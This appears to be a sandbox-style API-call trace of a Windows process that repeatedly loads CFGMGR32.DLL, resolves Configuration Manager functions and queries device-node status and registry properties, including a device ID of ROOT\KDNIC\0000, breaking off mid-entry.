[0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.942] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.943] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.944] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.945] malloc (_Size=0x18) returned 0x20abc281ea0 [0199.945] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x20, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0199.945] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x32f11339, dwHighDateTime=0x1d9eb0c)) [0199.945] SetEvent (hEvent=0x248) returned 1 [0199.950] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.950] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.950] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.951] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.952] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.953] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.954] malloc (_Size=0x18) returned 0x20abc281fa0 [0199.954] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x20, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0199.954] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.954] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x32f376f3, dwHighDateTime=0x1d9eb0c)) [0199.955] SetEvent (hEvent=0x248) returned 1 [0199.959] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.959] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.959] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.960] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.962] malloc (_Size=0x18) returned 0x20abc2820c0 [0199.962] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x20, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0199.962] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x32f376f3, dwHighDateTime=0x1d9eb0c)) [0199.963] SetEvent (hEvent=0x248) returned 1 [0199.968] malloc (_Size=0xd8) returned 0x20abc2867b0 [0199.968] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0199.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0199.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0199.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0199.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0199.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0199.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0199.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0199.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0199.971] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0199.972] malloc (_Size=0x18) returned 0x20abc281c20 [0199.972] CM_Get_Device_IDA (in: dnDevInst=0x21, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\KDNIC\\0000") returned 0x0 [0199.972] malloc (_Size=0x48) returned 0x20abc27cb20 [0199.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x32f5d8fd, dwHighDateTime=0x1d9eb0c)) [0199.972] SetEvent (hEvent=0x248) returned 1 [0200.177] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.177] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.177] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.178] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.179] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.180] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.180] malloc (_Size=0x18) returned 0x20abc281d40 [0200.180] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0200.180] malloc (_Size=0x18) returned 0x20abc281b20 [0200.181] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b20, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc281b20, pulLength=0x2dc22fd3f8) returned 0x0 [0200.181] free (_Block=0x20abc281b20) [0200.181] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3314d703, dwHighDateTime=0x1d9eb0c)) [0200.181] SetEvent (hEvent=0x248) returned 1 [0200.184] malloc (_Size=0x18) returned 0x20abc281960 [0200.184] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0200.184] free (_Block=0x20abc281960) [0200.184] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0200.184] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0200.184] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0200.185] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0200.185] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0200.185] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0200.185] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0200.185] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0200.185] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0200.185] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402310, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0200.186] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0200.186] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0200.187] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.187] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.187] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.188] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.189] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.190] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.190] malloc (_Size=0x18) returned 0x20abc281c80 [0200.191] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0200.191] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x331739b9, dwHighDateTime=0x1d9eb0c)) [0200.191] SetEvent (hEvent=0x248) returned 1 [0200.193] malloc (_Size=0xd8) returned 0x20abc2867b0 [0200.193] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0200.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0200.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0200.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0200.196] malloc (_Size=0x18) returned 0x20abc281cc0 [0200.197] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.201] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x331739b9, dwHighDateTime=0x1d9eb0c)) [0200.201] SetEvent (hEvent=0x248) returned 1 [0200.202] SetEvent (hEvent=0x248) returned 1 [0200.203] free (_Block=0x20abc27cf80) [0200.203] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.204] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33199c41, dwHighDateTime=0x1d9eb0c)) [0200.204] SetEvent (hEvent=0x248) returned 1 [0200.205] SetEvent (hEvent=0x248) returned 1 [0200.206] free (_Block=0x20abc27cb20) [0200.206] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.206] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33199c41, dwHighDateTime=0x1d9eb0c)) [0200.206] SetEvent (hEvent=0x248) returned 1 [0200.207] SetEvent (hEvent=0x248) returned 1 [0200.208] free (_Block=0x20abc27cb20) [0200.208] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.208] malloc (_Size=0x48) returned 0x20abc27cf80 [0200.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33199c41, dwHighDateTime=0x1d9eb0c)) [0200.208] SetEvent (hEvent=0x248) returned 1 [0200.211] SetEvent (hEvent=0x248) returned 1 [0200.211] free (_Block=0x20abc27cf80) [0200.211] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x21, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0200.214] malloc (_Size=0x48) returned 0x20abc27cb20 [0200.214] GetSystemTimeAsFileTime (in: 